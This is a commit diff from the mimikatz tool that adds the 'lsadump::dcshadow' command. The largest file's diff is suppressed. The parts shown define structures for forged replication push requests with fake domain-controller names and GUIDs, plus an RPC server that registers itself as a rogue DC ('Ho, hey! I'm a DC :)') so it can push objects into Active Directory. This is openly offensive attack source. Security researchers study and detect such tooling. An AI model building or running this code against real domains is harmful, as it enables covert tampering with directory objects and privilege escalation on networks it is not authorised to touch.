First release of lsadump::dcshadow

This commit is contained in:
vletoux 2018-01-18 18:07:41 +01:00
parent dc7661c7d0
commit 0cba47194c
5 changed files with 2438 additions and 18 deletions

View File

@ -17,6 +17,7 @@ const KUHL_M_C kuhl_m_c_lsadump[] = {
{kuhl_m_lsadump_setntlm, L"setntlm", L"Ask a server to set a new password/ntlm for one user"},
{kuhl_m_lsadump_changentlm, L"changentlm", L"Ask a server to set a new password/ntlm for one user"},
{kuhl_m_lsadump_netsync, L"netsync", L"Ask a DC to send current and previous NTLM hash of DC/SRV/WKS"},
{kuhl_m_lsadump_dcshadow, L"dcshadow", L"Ask a DC to trigger a synchronization and send an object"},
};
const KUHL_M kuhl_m_lsadump = {

File diff suppressed because it is too large Load Diff

View File

@ -14,7 +14,7 @@
#include "../kuhl_m_lsadump.h" // to move
NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]);
//NTSTATUS kuhl_m_lsadump_dc...(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_lsadump_dcshadow(int argc, wchar_t * argv[]);
#pragma pack(push, 1)
typedef struct _USER_PROPERTY {
@ -44,4 +44,118 @@ void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties);
void kuhl_m_lsadump_dcsync_descrTrust(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain);
void kuhl_m_lsadump_dcsync_descrTrustAuthentication(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, PCUNICODE_STRING domain, PCUNICODE_STRING partner, BOOL isIn);
void kuhl_m_lsadump_dcsync_descrSecret(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL someExport);
void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes);
void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes);
typedef BOOL (*DCSHADOW_SYNTAX_ENCODER)(ATTRVAL* pVal, PWSTR szValue);
typedef struct _DS_REPL_ATTRTYP_META_DATA {
ATTRTYP attrType;
DWORD dwVersion;
FILETIME ftimeLastOriginatingChange;
UUID uuidLastOriginatingDsaInvocationID;
USN usnOriginatingChange;
USN usnLocalChange;
} DS_REPL_ATTRTYP_META_DATA, *PDS_REPL_ATTRTYP_META_DATA;
typedef struct _DS_REPL_OBJ_TYPE_META_DATA {
DWORD cNumEntries;
DWORD dwReserved;
DS_REPL_ATTRTYP_META_DATA rgMetaData[ANYSIZE_ARRAY];
} DS_REPL_OBJ_TYPE_META_DATA, *PDS_REPL_OBJ_TYPE_META_DATA;
typedef struct _DS_REPL_OBJ_TYPE_META_DATA_BLOB {
DWORD dwVersion;
DWORD dwReserved;
DS_REPL_OBJ_TYPE_META_DATA ctr;
} DS_REPL_OBJ_TYPE_META_DATA_BLOB, *PDS_REPL_OBJ_TYPE_META_DATA_BLOB;
typedef struct _DCSHADOW_OBJECT_ATTRIBUTE
{
PWSTR szAttributeName;
PSTR Oid;
DWORD dwSyntax;
BOOL fIsSensitive;
} DCSHADOW_OBJECT_ATTRIBUTE, *PDCSHADOW_OBJECT_ATTRIBUTE;
#define REPLICATION_UID_SET 1
#define REPLICATION_USN_SET 1<<1
#define REPLICATION_TIME_SET 1<<2
typedef struct _DCSHADOW_OBJECT_ATTRIBUTE_METADATA
{
DWORD dwFlag;
GUID uidOriginatingDsa;
DWORD usnOriginating;
FILETIME usnTimeChanged;
DWORD curRevision;
} DCSHADOW_OBJECT_ATTRIBUTE_METADATA, *PDCSHADOW_OBJECT_ATTRIBUTE_METADATA;
typedef struct _DCSHADOW_PUSH_REQUEST_OBJECT_ATTRIBUTE
{
PDCSHADOW_OBJECT_ATTRIBUTE pAttribute;
DCSHADOW_OBJECT_ATTRIBUTE_METADATA MetaData;
ATTRVALBLOCK AttrVal;
PWSTR * pszValue;
} DCSHADOW_PUSH_REQUEST_OBJECT_ATTRIBUTE, *PDCSHADOW_PUSH_REQUEST_OBJECT_ATTRIBUTE;
typedef struct _DCSHADOW_PUSH_REQUEST_OBJECT
{
// set automatically when reading replication metadata
BOOL fAdd;
PWSTR szObjectDN;
// mandatory for object creation and/or password encoding
NT4SID pSid;
// mandatory for object creation
GUID ObjectGUID;
ULONG cbAttributes;
PDCSHADOW_PUSH_REQUEST_OBJECT_ATTRIBUTE pAttributes;
} DCSHADOW_PUSH_REQUEST_OBJECT, *PDCSHADOW_PUSH_REQUEST_OBJECT;
typedef struct _DCSHADOW_PUSH_REQUEST
{
ULONG cNumObjects;
PDCSHADOW_PUSH_REQUEST_OBJECT pObjects;
ULONG cNumAttributes;
PDCSHADOW_OBJECT_ATTRIBUTE pAttributes;
} DCSHADOW_PUSH_REQUEST, *PDCSHADOW_PUSH_REQUEST;
typedef struct _DCSHADOW_DOMAIN_DC_INFO {
BOOL isInstanceId;
GUID InstanceId;
BOOL isInvocationId;
GUID InvocationId;
} DCSHADOW_DOMAIN_DC_INFO, *PDCSHADOW_DOMAIN_DC_INFO;
#define DOMAIN_INFO_PUSH_FLAGS_ROOT 1
#define DOMAIN_INFO_PUSH_FLAGS_CONFIG 2
#define DOMAIN_INFO_PUSH_FLAGS_SCHEMA 4
typedef struct _DCSHADOW_DOMAIN_INFO {
// dns name - arg or local assigned var freed
PWSTR szDomainName;
PWSTR szDCFQDN;
// not to be freed - arg or static var
PWSTR szFakeDCNetBIOS;
PWSTR szFakeFQDN;
PWSTR szFakeDN;
// naming context of the AD
PWSTR szDomainNamingContext;
PWSTR szConfigurationNamingContext;
PWSTR szSchemaNamingContext;
// The site (first-or-default in general)
PWSTR szDsServiceName;
DWORD dwDomainControllerFunctionality;
DWORD maxDCUsn;
BOOL fUseSchemaSignature;
BYTE pbSchemaSignature[21];
DWORD dwPushFlags;
DCSHADOW_DOMAIN_DC_INFO realDc;
DCSHADOW_DOMAIN_DC_INFO mimiDc;
HANDLE hGetNCChangeCalled;
// the only attribute which can be there in a next call
PDCSHADOW_PUSH_REQUEST request;
} DCSHADOW_DOMAIN_INFO, *PDCSHADOW_DOMAIN_INFO;

View File

@ -236,10 +236,10 @@ BOOL kull_m_rpc_drsr_ProcessGetNCChangesReply(SCHEMA_PREFIX_TABLE *prefixTable,
if(attSensitive[j] == pReplentinflist->Entinf.AttrBlock.pAttr[i].attrTyp)
{
if(pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal)
for(k = 0; k < pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.valCount; k++)
if(pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal[k].pVal)
if(!kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt(&pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal[k]))
return FALSE;
for(k = 0; k < pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.valCount; k++)
if(pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal[k].pVal)
if(!kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt(&pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal[k]))
return FALSE;
break;
}
}
@ -418,7 +418,6 @@ DWORD kull_m_rpc_drsr_MakeAttid_addPrefixToTable(SCHEMA_PREFIX_TABLE *prefixTabl
BOOL status = FALSE;
DWORD i;
PrefixTableEntry *entries;
for(i = 0; i < prefixTable->PrefixCount; i++)
{
if(prefixTable->pPrefixEntry[i].prefix.length == oidPrefix->length)
@ -474,7 +473,7 @@ BOOL kull_m_rpc_drsr_MakeAttid(SCHEMA_PREFIX_TABLE *prefixTable, LPCSTR szOid, A
oidPrefix.length -= (lastValue < 0x80) ? 1 : 2;
if(status = kull_m_rpc_drsr_MakeAttid_addPrefixToTable(prefixTable, &oidPrefix, &ndx, toAdd))
*att |= ndx << 16;
else PRINT_ERROR(L"kull_m_rpc_drsr_MakeAttid_addPrefixToTable");
else PRINT_ERROR(L"kull_m_rpc_drsr_MakeAttid_addPrefixToTable\n");
kull_m_asn1_freeEnc(oidPrefix.value);
}
}
@ -534,4 +533,151 @@ void kull_m_rpc_drsr_findPrintMonoAttr(LPCWSTR prefix, SCHEMA_PREFIX_TABLE *pref
DWORD sz;
if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOid, &ptr, &sz))
kprintf(L"%s%.*s%s", prefix ? prefix : L"", sz / sizeof(wchar_t), (PWSTR) ptr, newLine ? L"\n" : L"");
}
}
LPWSTR kull_m_rpc_drsr_MakeSpnWithGUID(LPCGUID ServClass, LPCWSTR ServName, LPCGUID InstName)
{
LPWSTR result = NULL;
RPC_STATUS status;
RPC_WSTR szServClass, szInstName;
DWORD dwServClass, dwInstName, dwServName;
status = UuidToString(ServClass, &szServClass);
if(status == RPC_S_OK)
{
status = UuidToString(InstName, &szInstName);
if(status == RPC_S_OK)
{
dwServClass = lstrlen((LPWSTR) szServClass) * sizeof(wchar_t);
dwInstName = lstrlen((LPWSTR) szInstName) * sizeof(wchar_t);
dwServName = lstrlen(ServName) * sizeof(wchar_t);
if (result = (LPWSTR) LocalAlloc(LPTR, dwServClass + sizeof(wchar_t) + dwInstName + sizeof(wchar_t) + dwServName))
{
RtlCopyMemory(result, szServClass, dwServClass);
RtlCopyMemory((PBYTE) result + dwServClass + sizeof(wchar_t), szInstName, dwInstName);
((PBYTE) result)[dwServClass] = L'/';
RtlCopyMemory((PBYTE) result + dwServClass + sizeof(wchar_t) + dwServName + sizeof(wchar_t), ServName, dwServName);
((PBYTE) result)[dwServClass + sizeof(wchar_t) + dwServName] = L'/';
}
RpcStringFree(&szInstName);
}
else PRINT_ERROR(L"UuidToString(i): %08x\n", status);
RpcStringFree(&szServClass);
}
else PRINT_ERROR(L"UuidToString(s): %08x\n", status);
return result;
}
NTSTATUS kull_m_rpc_drsr_start_server(LPCWSTR ServName, LPCGUID InstName)
{
RPC_STATUS status = 0;
RPC_BINDING_VECTOR *vector = NULL;
RPC_WSTR szUpn, bindString = NULL;
DWORD i;
BOOL toUnreg = FALSE;
if(szUpn = (RPC_WSTR) kull_m_rpc_drsr_MakeSpnWithGUID(&((RPC_SERVER_INTERFACE *) drsuapi_v4_0_s_ifspec)->InterfaceId.SyntaxGUID, ServName, InstName))
{
status = RpcServerUseProtseqEp((RPC_WSTR) L"ncacn_ip_tcp", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, (RPC_WSTR) NULL, NULL);
if(status == RPC_S_OK)
{
status = RpcServerRegisterAuthInfo(szUpn, RPC_C_AUTHN_GSS_NEGOTIATE, NULL, NULL);
if(status == RPC_S_OK)
{
status = RpcServerRegisterIf2(drsuapi_v4_0_s_ifspec, NULL, NULL, RPC_IF_ALLOW_SECURE_ONLY, RPC_C_LISTEN_MAX_CALLS_DEFAULT, -1, NULL);
if(status == RPC_S_OK)
{
status = RpcServerInqBindings(&vector);
if(status == RPC_S_OK)
{
for(i = 0; i < vector->Count; i++)
{
status = RpcBindingToStringBinding(vector->BindingH[i], &bindString);
if(status == RPC_S_OK)
{
kprintf(L" > BindString[%u]: %s\n", i, bindString);
RpcStringFree(&bindString);
}
else PRINT_ERROR(L"RpcBindingToStringBinding: %08x\n", status);
}
status = RpcEpRegister(drsuapi_v4_0_s_ifspec, vector, NULL, (RPC_WSTR) MIMIKATZ L" Ho, hey! I\'m a DC :)");
RpcBindingVectorFree(&vector);
if(status == RPC_S_OK)
{
kprintf(L" > RPC bind registered\n");
status = RpcServerListen(1, RPC_C_LISTEN_MAX_CALLS_DEFAULT, TRUE);
if(status == RPC_S_OK)
kprintf(L" > RPC Server is waiting!\n");
else if(status == RPC_S_ALREADY_LISTENING)
{
kprintf(L" > RPC Server already waiting!\n");
status = RPC_S_OK;
}
else PRINT_ERROR(L"RpcServerListen: %08x\n", status);
}
else PRINT_ERROR(L"RpcEpRegister: %08x\n", status);
}
else PRINT_ERROR(L"RpcServerInqBindings: %08x\n", status);
}
else PRINT_ERROR(L"RpcServerRegisterIf2: %08x\n", status);
}
else PRINT_ERROR(L"RpcServerRegisterAuthInfo: %08x\n", status);
}
else PRINT_ERROR(L"RpcServerUseProtseqEp: %08x\n", status);
LocalFree(szUpn);
}
return status;
}
NTSTATUS kull_m_rpc_drsr_stop_server()
{
RPC_STATUS status;
RPC_BINDING_VECTOR *vector = NULL;
status = RpcServerInqBindings(&vector);
if(status == RPC_S_OK)
{
status = RpcEpUnregister(drsuapi_v4_0_s_ifspec, vector, NULL);
if(status == RPC_S_OK)
kprintf(L" > RPC bind unregistered\n");
else PRINT_ERROR(L"RpcEpUnregister: %08x\n", status);
RpcBindingVectorFree(&vector);
}
else PRINT_ERROR(L"RpcServerInqBindings: %08x\n", status);
status = RpcServerUnregisterIfEx(drsuapi_v4_0_s_ifspec, NULL, 1);
if(status != RPC_S_OK)
PRINT_ERROR(L"RpcServerUnregisterIf: %08x\n", status);
status = RpcMgmtStopServerListening(NULL);
if(status != RPC_S_OK)
PRINT_ERROR(L"RpcMgmtStopServerListening: %08x\n", status);
else
{
kprintf(L" > stopping RPC server\n");
RpcMgmtWaitServerListen();
kprintf(L" > RPC server stopped\n");
}
return status;
}
const PrefixTableEntry PrefixDefaultTableEntries[] = {
{0, {2 , (BYTE *) "\x55\x4"}},
{1, {2 , (BYTE *) "\x55\x6"}},
{2, {8 , (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x02"}},
{3, {8 , (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x03"}},
{4, {8 , (BYTE *) "\x60\x86\x48\x01\x65\x02\x02\x01"}},
{5, {8 , (BYTE *) "\x60\x86\x48\x01\x65\x02\x02\x03"}},
{6, {8 , (BYTE *) "\x60\x86\x48\x01\x65\x02\x01\x05"}},
{7, {8 , (BYTE *) "\x60\x86\x48\x01\x65\x02\x01\x04"}},
{8, {2 , (BYTE *) "\x55\x5"}},
{9, {8 , (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x04"}},
{10,{8 , (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x05"}},
{19,{8 , (BYTE *) "\x09\x92\x26\x89\x93\xf2\x2c\x64"}},
{20,{8 , (BYTE *) "\x60\x86\x48\x01\x86\xf8\x42\x03"}},
{21,{9 , (BYTE *) "\x09\x92\x26\x89\x93\xf2\x2c\x64\x01"}},
{22,{9 , (BYTE *) "\x60\x86\x48\x01\x86\xf8\x42\x03\x01"}},
{23,{10, (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x05\xb6\x58"}},
{24,{2 , (BYTE *) "\x55\x15"}},
{25,{2 , (BYTE *) "\x55\x12"}},
{26,{2 , (BYTE *) "\x55\x14"}},
};
const SCHEMA_PREFIX_TABLE SCHEMA_DEFAULT_PREFIX_TABLE = {ARRAYSIZE(PrefixDefaultTableEntries), (PrefixTableEntry *) PrefixDefaultTableEntries};

View File

@ -164,6 +164,11 @@ typedef enum {
EXOP_REPL_SECRETS = 7
} EXOP_REQ;
#define szOID_objectclass "2.5.4.0"
#define szOID_hasMasterNCs "1.2.840.113556.1.2.14"
#define szOID_dMDLocation "1.2.840.113556.1.2.36"
#define szOID_invocationId "1.2.840.113556.1.2.115"
#define szOID_ANSI_name "1.2.840.113556.1.4.1"
#define szOID_objectGUID "1.2.840.113556.1.4.2"
@ -188,6 +193,15 @@ typedef enum {
#define szOID_ANSI_currentValue "1.2.840.113556.1.4.27"
#define szOID_options "1.2.840.113556.1.4.307"
#define szOID_systemFlags "1.2.840.113556.1.4.375"
#define szOID_serverReference "1.2.840.113556.1.4.515"
#define szOID_msDS_Behavior_Version "1.2.840.113556.1.4.1459"
#define szOID_msDS_HasDomainNCs "1.2.840.113556.1.4.1820"
#define szOID_msDS_hasMasterNCs "1.2.840.113556.1.4.1836";
#define szOID_ANSI_nTDSDSA "1.2.840.113556.1.5.7000.47"
#define ATT_WHEN_CREATED MAKELONG( 2, 2)
#define ATT_WHEN_CHANGED MAKELONG( 3, 2)
@ -240,4 +254,30 @@ BOOL kull_m_rpc_drsr_MakeAttid(SCHEMA_PREFIX_TABLE *prefixTable, LPCSTR szOid, A
ATTRVALBLOCK * kull_m_rpc_drsr_findAttr(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCSTR szOid);
PVOID kull_m_rpc_drsr_findMonoAttr(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCSTR szOid, PVOID data, DWORD *size);
void kull_m_rpc_drsr_findPrintMonoAttr(LPCWSTR prefix, SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCSTR szOid, BOOL newLine);
void kull_m_rpc_drsr_findPrintMonoAttr(LPCWSTR prefix, SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCSTR szOid, BOOL newLine);
LPWSTR kull_m_rpc_drsr_MakeSpnWithGUID(LPCGUID ServClass, LPCWSTR ServName, LPCGUID InstName);
NTSTATUS kull_m_rpc_drsr_start_server(LPCWSTR ServName, LPCGUID InstName);
NTSTATUS kull_m_rpc_drsr_stop_server();
// cf https://technet.microsoft.com/en-us/library/cc961740.aspx
#define SYNTAX_UNDEFINED 0x550500
#define SYNTAX_DN 0x550501
#define SYNTAX_OID 0x550502
#define SYNTAX_CASE_SENSITIVE_STRING 0x550503
#define SYNTAX_CASE_IGNORE_STRING 0x550504
#define SYNTAX_STRING_IA5 0x550505
#define SYNTAX_STRING_NUMERIC 0x550506
#define SYNTAX_OBJECT_DN_BINARY 0x550507
#define SYNTAX_BOOLEAN 0x550508
#define SYNTAX_INTEGER 0x550509
#define SYNTAX_OCTET_STRING 0x55050a
#define SYNTAX_GENERALIZED_TIME 0x55050b
#define SYNTAX_UNICODE_STRING 0x55050c
#define SYNTAX_OBJECT_PRESENTATION_ADDR 0x55050d
#define SYNTAX_OBJECT_DN 0x55050e
#define SYNTAX_NTSECURITYDESCRIPTOR 0x55050f
#define SYNTAX_LARGE_INTEGER 0x550510
#define SYNTAX_SID 0x550511
const SCHEMA_PREFIX_TABLE SCHEMA_DEFAULT_PREFIX_TABLE;